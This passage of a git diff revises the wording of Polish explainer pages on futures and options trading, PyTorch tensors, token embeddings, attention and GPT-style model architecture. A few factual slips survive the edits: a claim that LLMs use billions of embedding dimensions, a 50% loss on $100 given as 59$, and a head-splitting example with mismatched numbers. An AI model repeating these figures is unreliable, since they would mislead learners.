## Futures -Futures to kontrakt, w którym 2 strony dochodzą do porozumienia, aby **nabyć coś w przyszłości po ustalonej cenie**. Na przykład sprzedać 1 bitcoina za 6 miesięcy za 70.000$. +Futures to kontrakt, w którym 2 strony dochodzą do porozumienia, aby **nabyć coś w przyszłości po ustalonej cenie**. Na przykład sprzedać 1 bitcoina za 6 miesięcy po 70.000$. Oczywiście, jeśli za 6 miesięcy wartość bitcoina wynosi 80.000$, strona sprzedająca traci pieniądze, a strona kupująca zyskuje. Jeśli za 6 miesięcy wartość bitcoina wynosi 60.000$, dzieje się odwrotnie. -Jednakże, to jest interesujące na przykład dla firm, które generują produkt i potrzebują mieć pewność, że będą mogły sprzedać go po cenie pokrywającej koszty. Lub dla firm, które chcą zapewnić sobie stałe ceny w przyszłości, nawet jeśli będą wyższe. +Jednak to jest interesujące na przykład dla firm, które generują produkt i muszą mieć pewność, że będą mogły sprzedać go po cenie pokrywającej koszty. Lub dla firm, które chcą zapewnić sobie stałe ceny w przyszłości, nawet jeśli będą wyższe. -Chociaż na giełdach jest to zazwyczaj używane do próby osiągnięcia zysku. +Chociaż na giełdach zazwyczaj używa się tego, aby spróbować osiągnąć zysk. -* Zauważ, że "pozycja długa" oznacza, że ktoś stawia na to, że cena wzrośnie. -* Natomiast "pozycja krótka" oznacza, że ktoś stawia na to, że cena spadnie. +* Zauważ, że "pozycja długa" oznacza, że ktoś stawia na to, że cena wzrośnie +* Podczas gdy "pozycja krótka" oznacza, że ktoś stawia na to, że cena spadnie ### Hedging z użyciem Futures @@ -35,12 +35,12 @@ Zauważ, że w tych przypadkach zyski i straty mogą być w czasie rzeczywistym, ### Futures z dźwignią -**Dźwignia** pozwala Ci kontrolować większą pozycję na rynku przy mniejszej kwocie pieniędzy. W zasadzie pozwala Ci "stawiać" znacznie więcej pieniędzy, niż posiadasz, ryzykując tylko pieniądze, które faktycznie masz. +**Dźwignia** pozwala kontrolować większą pozycję na rynku przy mniejszej kwocie pieniędzy. W zasadzie pozwala "stawiać" znacznie więcej pieniędzy, niż się ma, ryzykując tylko pieniądze, które faktycznie się posiada. Na przykład, jeśli otworzysz pozycję futures w BTC/USDT z 100$ przy dźwigni 50x, oznacza to, że jeśli cena wzrośnie o 1%, wtedy zyskujesz 1x50 = 50% swojego początkowego inwestycji (50$). I w ten sposób będziesz miał 150$.\ -Jednak jeśli cena spadnie o 1%, stracisz 50% swoich funduszy (59$ w tym przypadku). A jeśli cena spadnie o 2%, stracisz całe swoje zakłady (2x50 = 100%). +Jednak jeśli cena spadnie o 1%, stracisz 50% swoich funduszy (59$ w tym przypadku). A jeśli cena spadnie o 2%, stracisz całą swoją stawkę (2x50 = 100%). -Dlatego dźwignia pozwala kontrolować kwotę pieniędzy, które stawiasz, jednocześnie zwiększając zyski i straty. +Dlatego dźwignia pozwala kontrolować kwotę pieniędzy, którą stawiasz, jednocześnie zwiększając zyski i straty. ## Różnice między Futures a Opcjami @@ -55,11 +55,11 @@ Jednak kupujący będzie płacił pewną opłatę sprzedającemu za otwarcie opc ### 2. **Ryzyko:** * **Futures:** Zarówno kupujący, jak i sprzedający ponoszą **nieograniczone ryzyko**, ponieważ są zobowiązani do zrealizowania kontraktu. Ryzyko to różnica między uzgodnioną ceną a ceną rynkową w dniu wygaśnięcia. -* **Opcje:** Ryzyko kupującego jest ograniczone do **premii** zapłaconej za zakup opcji. Jeśli rynek nie poruszy się na korzyść posiadacza opcji, mogą po prostu pozwolić opcji wygasnąć. Jednak **sprzedający** (wystawca) opcji ma nieograniczone ryzyko, jeśli rynek poruszy się znacząco przeciwko nim. +* **Opcje:** Ryzyko kupującego jest ograniczone do **premii** zapłaconej za zakup opcji. Jeśli rynek nie poruszy się na korzyść posiadacza opcji, może po prostu pozwolić opcji wygasnąć. Jednak **sprzedający** (wystawca) opcji ma nieograniczone ryzyko, jeśli rynek poruszy się znacząco przeciwko niemu. ### 3. **Koszt:** -* **Futures:** Nie ma kosztów wstępnych poza marżą wymaganą do utrzymania pozycji, ponieważ zarówno kupujący, jak i sprzedający są zobowiązani do zrealizowania transakcji. +* **Futures:** Nie ma kosztu początkowego poza marżą wymaganą do utrzymania pozycji, ponieważ zarówno kupujący, jak i sprzedający są zobowiązani do zrealizowania transakcji. * **Opcje:** Kupujący musi zapłacić **premię opcyjną** z góry za prawo do wykonania opcji. Ta premia jest zasadniczo kosztem opcji. ### 4. **Potencjał zysku:** diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md index a42cd75d5..4bbc6e968 100644 --- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md +++ b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md @@ -13,7 +13,7 @@ Zazwyczaj LLM charakteryzuje się konfiguracją używaną do jego trenowania. Ot - **Wymiar osadzenia**: Rozmiar wektora używanego do reprezentacji każdego tokena lub słowa. LLM zazwyczaj używa miliardów wymiarów. - **Wymiar ukryty**: Rozmiar warstw ukrytych w sieci neuronowej. - **Liczba warstw (głębokość)**: Ile warstw ma model. LLM zazwyczaj używa dziesiątek warstw. -- **Liczba głów uwagi**: W modelach transformatorowych, to liczba oddzielnych mechanizmów uwagi używanych w każdej warstwie. LLM zazwyczaj używa dziesiątek głów. +- **Liczba głów uwagi**: W modelach transformatorowych, to ile oddzielnych mechanizmów uwagi jest używanych w każdej warstwie. LLM zazwyczaj używa dziesiątek głów. - **Dropout**: Dropout to coś w rodzaju procentu danych, które są usuwane (prawdopodobieństwa stają się 0) podczas treningu, używanego do **zapobiegania przeuczeniu.** LLM zazwyczaj używa od 0 do 20%. Konfiguracja modelu GPT-2: @@ -39,13 +39,13 @@ W PyTorch, **tenzor** to podstawowa struktura danych, która służy jako wielow - **Macierze**: Tenzory rangi 2, reprezentujące dwuwymiarowe tablice z wierszami i kolumnami. Na przykład: \[\[1,3], \[5,2]] - **Tenzory wyższej rangi**: Tenzory rangi 3 lub wyższej, reprezentujące dane w wyższych wymiarach (np. 3D tenzory dla obrazów kolorowych). -### Tenzory jako pojemniki na dane +### Tenzory jako kontenery danych -Z perspektywy obliczeniowej, tenzory działają jako pojemniki na dane wielowymiarowe, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tenzory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego. +Z perspektywy obliczeniowej, tenzory działają jako kontenery dla wielowymiarowych danych, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tenzory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego. -### Tenzory PyTorch a tablice NumPy +### Tenzory PyTorch vs. tablice NumPy -Chociaż tenzory PyTorch są podobne do tablic NumPy w swojej zdolności do przechowywania i manipulowania danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego: +Chociaż tenzory PyTorch są podobne do tablic NumPy w swojej zdolności do przechowywania i manipulacji danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego: - **Automatyczna różniczkowanie**: Tenzory PyTorch wspierają automatyczne obliczanie gradientów (autograd), co upraszcza proces obliczania pochodnych wymaganych do trenowania sieci neuronowych. - **Przyspieszenie GPU**: Tenzory w PyTorch mogą być przenoszone i obliczane na GPU, co znacznie przyspiesza obliczenia na dużą skalę. @@ -79,8 +79,8 @@ Możesz sprawdzić typ danych tensora, używając atrybutu `.dtype`: tensor1d = torch.tensor([1, 2, 3]) print(tensor1d.dtype) # Output: torch.int64 ``` -- Tensory utworzone z liczb całkowitych Pythona mają typ `torch.int64`. -- Tensory utworzone z liczb zmiennoprzecinkowych Pythona mają typ `torch.float32`. +- Tensory utworzone z liczb całkowitych Pythona są typu `torch.int64`. +- Tensory utworzone z liczb zmiennoprzecinkowych Pythona są typu `torch.float32`. Aby zmienić typ danych tensora, użyj metody `.to()`: ```python @@ -202,15 +202,15 @@ Gradient w.r.t b: tensor([-0.0817]) W większych sieciach neuronowych z wieloma warstwami proces obliczania gradientów staje się bardziej złożony z powodu zwiększonej liczby parametrów i operacji. Jednak podstawowe zasady pozostają takie same: - **Forward Pass:** Oblicz wyjście sieci, przekazując dane wejściowe przez każdą warstwę. -- **Compute Loss:** Oceń funkcję straty, używając wyjścia sieci i etykiet docelowych. -- **Backward Pass (Backpropagation):** Oblicz gradienty straty względem każdego parametru w sieci, stosując regułę łańcuchową rekurencyjnie od warstwy wyjściowej do warstwy wejściowej. +- **Compute Loss:** Oceń funkcję straty, używając wyjścia sieci i docelowych etykiet. +- **Backward Pass (Backpropagation):** Oblicz gradienty straty względem każdego parametru w sieci, stosując regułę łańcucha rekurencyjnie od warstwy wyjściowej do warstwy wejściowej. ### **2. Algorytm Backpropagation** - **Krok 1:** Zainicjalizuj parametry sieci (wagi i biasy). - **Krok 2:** Dla każdego przykładu treningowego wykonaj forward pass, aby obliczyć wyjścia. - **Krok 3:** Oblicz stratę. -- **Krok 4:** Oblicz gradienty straty względem każdego parametru, stosując regułę łańcuchową. +- **Krok 4:** Oblicz gradienty straty względem każdego parametru, stosując regułę łańcucha. - **Krok 5:** Zaktualizuj parametry, używając algorytmu optymalizacji (np. gradient descent). ### **3. Reprezentacja matematyczna** @@ -275,7 +275,7 @@ W tym kodzie: Podczas backward pass: - PyTorch przeszukuje graf obliczeniowy w odwrotnej kolejności. -- Dla każdej operacji stosuje regułę łańcuchową do obliczenia gradientów. +- Dla każdej operacji stosuje regułę łańcuchową do obliczania gradientów. - Gradienty są gromadzone w atrybucie `.grad` każdego tensora parametru. ### **6. Zalety automatycznej różniczkowania** diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md index fc325c60f..198f27441 100644 --- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md +++ b/src/todo/llm-training-data-preparation/3.-token-embeddings.md @@ -2,31 +2,31 @@ ## Token Embeddings -Po tokenizacji danych tekstowych, następnym kluczowym krokiem w przygotowaniu danych do trenowania dużych modeli językowych (LLM) takich jak GPT jest stworzenie **token embeddings**. Token embeddings przekształcają dyskretne tokeny (takie jak słowa lub pod-słowa) w ciągłe wektory numeryczne, które model może przetwarzać i z których może się uczyć. To wyjaśnienie rozkłada token embeddings, ich inicjalizację, zastosowanie oraz rolę osadzeń pozycyjnych w poprawie zrozumienia sekwencji tokenów przez model. +Po tokenizacji danych tekstowych, następnym kluczowym krokiem w przygotowaniu danych do trenowania dużych modeli językowych (LLM) takich jak GPT jest tworzenie **token embeddings**. Token embeddings przekształcają dyskretne tokeny (takie jak słowa lub pod-słowa) w ciągłe wektory numeryczne, które model może przetwarzać i z których może się uczyć. To wyjaśnienie rozkłada token embeddings, ich inicjalizację, zastosowanie oraz rolę osadzeń pozycyjnych w poprawie zrozumienia sekwencji tokenów przez model. > [!TIP] -> Celem tej trzeciej fazy jest bardzo proste: **Przypisanie każdemu z poprzednich tokenów w słowniku wektora o pożądanych wymiarach do trenowania modelu.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\ +> Celem tej trzeciej fazy jest bardzo proste: **Przypisz każdemu z poprzednich tokenów w słowniku wektor o pożądanych wymiarach, aby trenować model.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\ > Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu inicjowana "losowo", a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu). > -> Co więcej, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało inną reprezentację (znaczenie). +> Co więcej, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało różne reprezentacje (znaczenie). -### **Czym są Token Embeddings?** +### **What Are Token Embeddings?** **Token Embeddings** to numeryczne reprezentacje tokenów w ciągłej przestrzeni wektorowej. Każdy token w słowniku jest powiązany z unikalnym wektorem o stałych wymiarach. Te wektory uchwycają informacje semantyczne i syntaktyczne o tokenach, umożliwiając modelowi zrozumienie relacji i wzorców w danych. -- **Rozmiar słownika:** Całkowita liczba unikalnych tokenów (np. słów, pod-słów) w słowniku modelu. -- **Wymiary osadzenia:** Liczba wartości numerycznych (wymiarów) w wektorze każdego tokenu. Wyższe wymiary mogą uchwycić bardziej subtelne informacje, ale wymagają więcej zasobów obliczeniowych. +- **Vocabulary Size:** Całkowita liczba unikalnych tokenów (np. słów, pod-słów) w słowniku modelu. +- **Embedding Dimensions:** Liczba wartości numerycznych (wymiarów) w wektorze każdego tokenu. Wyższe wymiary mogą uchwycić bardziej subtelne informacje, ale wymagają więcej zasobów obliczeniowych. -**Przykład:** +**Example:** -- **Rozmiar słownika:** 6 tokenów \[1, 2, 3, 4, 5, 6] -- **Wymiary osadzenia:** 3 (x, y, z) +- **Vocabulary Size:** 6 tokenów \[1, 2, 3, 4, 5, 6] +- **Embedding Dimensions:** 3 (x, y, z) -### **Inicjalizacja Token Embeddings** +### **Initializing Token Embeddings** Na początku treningu, token embeddings są zazwyczaj inicjowane małymi losowymi wartościami. Te początkowe wartości są dostosowywane (dostosowywane) podczas treningu, aby lepiej reprezentować znaczenia tokenów na podstawie danych treningowych. -**Przykład PyTorch:** +**PyTorch Example:** ```python import torch @@ -55,7 +55,7 @@ tensor([[ 0.3374, -0.1778, -0.1690], - Każda kolumna reprezentuje wymiar w wektorze osadzenia. - Na przykład, token o indeksie `3` ma wektor osadzenia `[-0.4015, 0.9666, -1.1481]`. -**Dostęp do osadzenia tokena:** +**Dostęp do osadzenia tokenu:** ```python # Retrieve the embedding for the token at index 3 token_index = torch.tensor([3]) diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md index 41f818167..a0116e6f0 100644 --- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md +++ b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md @@ -5,12 +5,12 @@ Mechanizmy uwagi pozwalają sieciom neuronowym **skupić się na konkretnych częściach wejścia podczas generowania każdej części wyjścia**. Przypisują różne wagi różnym wejściom, pomagając modelowi zdecydować, które wejścia są najbardziej istotne dla danego zadania. Jest to kluczowe w zadaniach takich jak tłumaczenie maszynowe, gdzie zrozumienie kontekstu całego zdania jest niezbędne do dokładnego tłumaczenia. > [!TIP] -> Celem tej czwartej fazy jest bardzo proste: **Zastosować kilka mechanizmów uwagi**. Będą to **powtarzające się warstwy**, które **uchwycą relację słowa w słownictwie z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\ +> Celem tej czwartej fazy jest bardzo proste: **Zastosować kilka mechanizmów uwagi**. Będą to **powtarzające się warstwy**, które **uchwycą relację słowa w słowniku z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\ > Używa się wielu warstw, więc wiele parametrów do uczenia będzie uchwytywać te informacje. ### Zrozumienie mechanizmów uwagi -W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języków, model koduje sekwencję wejściową w wektor kontekstowy o stałej wielkości. Jednak podejście to ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałej wielkości może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagi rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego. +W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języków, model koduje sekwencję wejściową w wektor kontekstowy o stałym rozmiarze. Jednak to podejście ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałym rozmiarze może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagi rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego. #### Przykład: Tłumaczenie maszynowe @@ -60,7 +60,7 @@ Dla każdego słowa w zdaniu oblicz wynik **uwagi** w odniesieniu do "shiny", ob > [!TIP] > Nie gub się w terminach matematycznych, cel tej funkcji jest prosty, znormalizować wszystkie wagi, aby **suma wynosiła 1**. > -> Ponadto, funkcja **softmax** jest używana, ponieważ akcentuje różnice dzięki części wykładniczej, co ułatwia wykrywanie użytecznych wartości. +> Ponadto, funkcja **softmax** jest używana, ponieważ podkreśla różnice dzięki części wykładniczej, co ułatwia wykrywanie użytecznych wartości. Zastosuj funkcję **softmax** do wyników uwagi, aby przekształcić je w wagi uwagi, które sumują się do 1. @@ -235,7 +235,7 @@ Aby wdrożyć causal attention, stosujemy maskę do wyników uwagi **przed opera **Kroki** 1. **Oblicz Wyniki Uwagi**: Tak jak wcześniej. -2. **Zastosuj Maskę**: Użyj macierzy górno-trójkątnej wypełnionej minus nieskończonością powyżej przekątnej. +2. **Zastosuj Maskę**: Użyj macierzy górnej trójkątnej wypełnionej minus nieskończonością powyżej przekątnej. ```python mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf') @@ -323,11 +323,11 @@ print("context_vecs.shape:", context_vecs.shape) ``` ## Rozszerzanie pojedynczej uwagi na uwagę wielogłową -**Wielogłowa uwaga** w praktyce polega na wykonywaniu **wielu instancji** funkcji uwagi własnej, z których każda ma **swoje własne wagi**, dzięki czemu obliczane są różne wektory końcowe. +**Uwaga wielogłowa** w praktyce polega na wykonywaniu **wielu instancji** funkcji uwagi własnej, z których każda ma **swoje własne wagi**, dzięki czemu obliczane są różne wektory końcowe. ### Przykład kodu -Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i dodanie opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów i chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich: +Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i po prostu dodanie opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów i chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich: ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md index d6270efd4..a4f266d20 100644 --- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md +++ b/src/todo/llm-training-data-preparation/5.-llm-architecture.md @@ -217,7 +217,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
> [!NOTE] -> Celem użycia tej funkcji po warstwach liniowych wewnątrz warstwy FeedForward jest przekształcenie danych liniowych w nieliniowe, aby umożliwić modelowi uczenie się złożonych, nieliniowych relacji. +> Celem użycia tej funkcji po warstwach liniowych wewnątrz warstwy FeedForward jest zmiana danych liniowych na nieliniowe, aby umożliwić modelowi uczenie się złożonych, nieliniowych relacji. ### **Sieć Neuronowa FeedForward** @@ -241,29 +241,29 @@ x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim) x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim) return x # Output shape: (batch_size, seq_len, emb_dim) ``` -#### **Cel i funkcjonalność** +#### **Cel i Funkcjonalność** - **Sieć FeedForward na poziomie pozycji:** Zastosowuje dwuwarstwową sieć w pełni połączoną do każdej pozycji osobno i identycznie. - **Szczegóły warstwy:** - **Pierwsza warstwa liniowa:** Zwiększa wymiarowość z `emb_dim` do `4 * emb_dim`. - **Aktywacja GELU:** Zastosowuje nieliniowość. -- **Druga warstwa liniowa:** Redukuje wymiarowość z powrotem do `emb_dim`. +- **Druga warstwa liniowa:** Zmniejsza wymiarowość z powrotem do `emb_dim`. > [!NOTE] > Jak widać, sieć Feed Forward używa 3 warstw. Pierwsza to warstwa liniowa, która pomnoży wymiary przez 4, używając wag liniowych (parametrów do wytrenowania w modelu). Następnie funkcja GELU jest używana we wszystkich tych wymiarach, aby zastosować nieliniowe wariacje w celu uchwycenia bogatszych reprezentacji, a na końcu używana jest kolejna warstwa liniowa, aby wrócić do oryginalnego rozmiaru wymiarów. -### **Mechanizm uwagi wielogłowej** +### **Mechanizm Uwag Wielogłowych** To zostało już wyjaśnione w wcześniejszej sekcji. -#### **Cel i funkcjonalność** +#### **Cel i Funkcjonalność** -- **Wielogłowa uwaga własna:** Pozwala modelowi skupić się na różnych pozycjach w sekwencji wejściowej podczas kodowania tokena. +- **Wielogłowa Uwaga Własna:** Pozwala modelowi skupić się na różnych pozycjach w sekwencji wejściowej podczas kodowania tokenu. - **Kluczowe komponenty:** -- **Zapytania, klucze, wartości:** Liniowe projekcje wejścia, używane do obliczania wyników uwagi. -- **Głowy:** Wiele mechanizmów uwagi działających równolegle (`num_heads`), z każdą o zredukowanej wymiarowości (`head_dim`). +- **Zapytania, Klucze, Wartości:** Liniowe projekcje wejścia, używane do obliczania wyników uwagi. +- **Głowy:** Wiele mechanizmów uwagi działających równolegle (`num_heads`), z każdą o zmniejszonej wymiarowości (`head_dim`). - **Wyniki uwagi:** Obliczane jako iloczyn skalarny zapytań i kluczy, skalowane i maskowane. -- **Maskowanie:** Zastosowana jest maska przyczynowa, aby zapobiec modelowi uwagi na przyszłe tokeny (ważne dla modeli autoregresywnych, takich jak GPT). +- **Maskowanie:** Zastosowana jest maska przyczynowa, aby zapobiec modelowi zwracania uwagi na przyszłe tokeny (ważne dla modeli autoregresywnych, takich jak GPT). - **Wagi uwagi:** Softmax z maskowanych i skalowanych wyników uwagi. - **Wektor kontekstu:** Ważona suma wartości, zgodnie z wagami uwagi. - **Projekcja wyjściowa:** Warstwa liniowa do połączenia wyjść wszystkich głów. @@ -271,9 +271,9 @@ To zostało już wyjaśnione w wcześniejszej sekcji. > [!NOTE] > Celem tej sieci jest znalezienie relacji między tokenami w tym samym kontekście. Ponadto tokeny są dzielone na różne głowy, aby zapobiec nadmiernemu dopasowaniu, chociaż ostateczne relacje znalezione na głowę są łączone na końcu tej sieci. > -> Ponadto, podczas treningu stosowana jest **maska przyczynowa**, aby późniejsze tokeny nie były brane pod uwagę przy poszukiwaniu specyficznych relacji do tokena, a także stosowany jest **dropout**, aby **zapobiec nadmiernemu dopasowaniu**. +> Ponadto, podczas treningu stosowana jest **maska przyczynowa**, aby późniejsze tokeny nie były brane pod uwagę przy poszukiwaniu specyficznych relacji do tokenu, a także stosowany jest **dropout**, aby **zapobiec nadmiernemu dopasowaniu**. -### **Normalizacja** warstwy +### **Normalizacja** Warstwy ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class LayerNorm(nn.Module): @@ -289,17 +289,17 @@ var = x.var(dim=-1, keepdim=True, unbiased=False) norm_x = (x - mean) / torch.sqrt(var + self.eps) return self.scale * norm_x + self.shift ``` -#### **Cel i funkcjonalność** +#### **Cel i Funkcjonalność** -- **Normalizacja warstw:** Technika używana do normalizacji wejść wzdłuż cech (wymiarów osadzenia) dla każdego pojedynczego przykładu w partii. +- **Normalizacja Warstw:** Technika używana do normalizacji wejść wzdłuż cech (wymiarów osadzenia) dla każdego pojedynczego przykładu w partii. - **Składniki:** - **`eps`:** Mała stała (`1e-5`) dodawana do wariancji, aby zapobiec dzieleniu przez zero podczas normalizacji. - **`scale` i `shift`:** Uczące się parametry (`nn.Parameter`), które pozwalają modelowi na skalowanie i przesuwanie znormalizowanego wyjścia. Są inicjowane odpowiednio do jedynek i zer. -- **Proces normalizacji:** -- **Obliczanie średniej (`mean`):** Oblicza średnią z wejścia `x` wzdłuż wymiaru osadzenia (`dim=-1`), zachowując wymiar do rozprzestrzeniania (`keepdim=True`). -- **Obliczanie wariancji (`var`):** Oblicza wariancję `x` wzdłuż wymiaru osadzenia, również zachowując wymiar. Parametr `unbiased=False` zapewnia, że wariancja jest obliczana przy użyciu obciążonego estymatora (dzieląc przez `N` zamiast `N-1`), co jest odpowiednie przy normalizacji wzdłuż cech, a nie próbek. +- **Proces Normalizacji:** +- **Obliczanie Średniej (`mean`):** Oblicza średnią wejścia `x` wzdłuż wymiaru osadzenia (`dim=-1`), zachowując wymiar do rozprzestrzeniania (`keepdim=True`). +- **Obliczanie Wariancji (`var`):** Oblicza wariancję `x` wzdłuż wymiaru osadzenia, również zachowując wymiar. Parametr `unbiased=False` zapewnia, że wariancja jest obliczana przy użyciu obciążonego estymatora (dzieląc przez `N` zamiast `N-1`), co jest odpowiednie przy normalizacji wzdłuż cech, a nie próbek. - **Normalizacja (`norm_x`):** Odejmuje średnią od `x` i dzieli przez pierwiastek kwadratowy z wariancji plus `eps`. -- **Skalowanie i przesunięcie:** Zastosowuje uczące się parametry `scale` i `shift` do znormalizowanego wyjścia. +- **Skalowanie i Przesunięcie:** Zastosowuje uczące się parametry `scale` i `shift` do znormalizowanego wyjścia. > [!NOTE] > Celem jest zapewnienie średniej 0 z wariancją 1 we wszystkich wymiarach tego samego tokena. Celem tego jest **stabilizacja treningu głębokich sieci neuronowych** poprzez redukcję wewnętrznego przesunięcia kowariancji, które odnosi się do zmiany w rozkładzie aktywacji sieci z powodu aktualizacji parametrów podczas treningu. @@ -348,7 +348,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) ``` #### **Cel i Funkcjonalność** -- **Kompozycja Warstw:** Łączy wielogłowe uwagi, sieć feedforward, normalizację warstw i połączenia resztkowe. +- **Kompozycja Warstw:** Łączy wielogłowową uwagę, sieć feedforward, normalizację warstw i połączenia resztkowe. - **Normalizacja Warstw:** Stosowana przed warstwami uwagi i feedforward dla stabilnego treningu. - **Połączenia Resztkowe (Skróty):** Dodają wejście warstwy do jej wyjścia, aby poprawić przepływ gradientu i umożliwić trening głębokich sieci. - **Dropout:** Stosowany po warstwach uwagi i feedforward w celu regularyzacji. @@ -358,7 +358,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) 1. **Pierwsza Ścieżka Resztkowa (Self-Attention):** - **Wejście (`shortcut`):** Zapisz oryginalne wejście dla połączenia resztkowego. - **Normalizacja Warstw (`norm1`):** Normalizuj wejście. -- **Wielogłowa Uwaga (`att`):** Zastosuj self-attention. +- **Wielogłowowa Uwaga (`att`):** Zastosuj self-attention. - **Dropout (`drop_shortcut`):** Zastosuj dropout w celu regularyzacji. - **Dodaj Resztkę (`x + shortcut`):** Połącz z oryginalnym wejściem. 2. **Druga Ścieżka Resztkowa (FeedForward):** @@ -369,7 +369,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **Dodaj Resztkę (`x + shortcut`):** Połącz z wejściem z pierwszej ścieżki resztkowej. > [!NOTE] -> Blok transformatora grupuje wszystkie sieci razem i stosuje pewne **normalizacje** i **dropouty** w celu poprawy stabilności treningu i wyników.\ +> Blok transformera grupuje wszystkie sieci razem i stosuje pewne **normalizacje** i **dropouty** w celu poprawy stabilności treningu i wyników.\ > Zauważ, jak dropouty są stosowane po użyciu każdej sieci, podczas gdy normalizacja jest stosowana przed. > > Ponadto, wykorzystuje również skróty, które polegają na **dodawaniu wyjścia sieci do jej wejścia**. Pomaga to zapobiegać problemowi znikającego gradientu, zapewniając, że początkowe warstwy przyczyniają się "tak samo" jak ostatnie. @@ -467,7 +467,7 @@ total_params = sum(p.numel() for p in model.parameters()) print(f"Total number of parameters: {total_params:,}") # Total number of parameters: 163,009,536 ``` -### **Kalkulacja Krok po Kroku** +### **Krok po Kroku Obliczenia** #### **1. Warstwy Osadzania: Osadzenie Tokenów i Osadzenie Pozycji** @@ -608,7 +608,7 @@ total_params = 163,009,536 ``` ## Generowanie tekstu -Mając model, który przewiduje następny token, jak ten wcześniej, wystarczy wziąć wartości ostatniego tokena z wyjścia (ponieważ będą to wartości przewidywanego tokena), które będą **wartością na wpis w słowniku**, a następnie użyć funkcji `softmax`, aby znormalizować wymiary do prawdopodobieństw, które sumują się do 1, a następnie uzyskać indeks największego wpisu, który będzie indeksem słowa w słowniku. +Mając model, który przewiduje następny token jak poprzedni, wystarczy wziąć wartości ostatniego tokena z wyjścia (ponieważ będą to wartości przewidywanego tokena), które będą **wartością na wpis w słowniku**, a następnie użyć funkcji `softmax`, aby znormalizować wymiary do prawdopodobieństw, które sumują się do 1, a następnie uzyskać indeks największego wpisu, który będzie indeksem słowa w słowniku. Kod z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): ```python diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md index 00e16c0ef..09be04715 100644 --- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md @@ 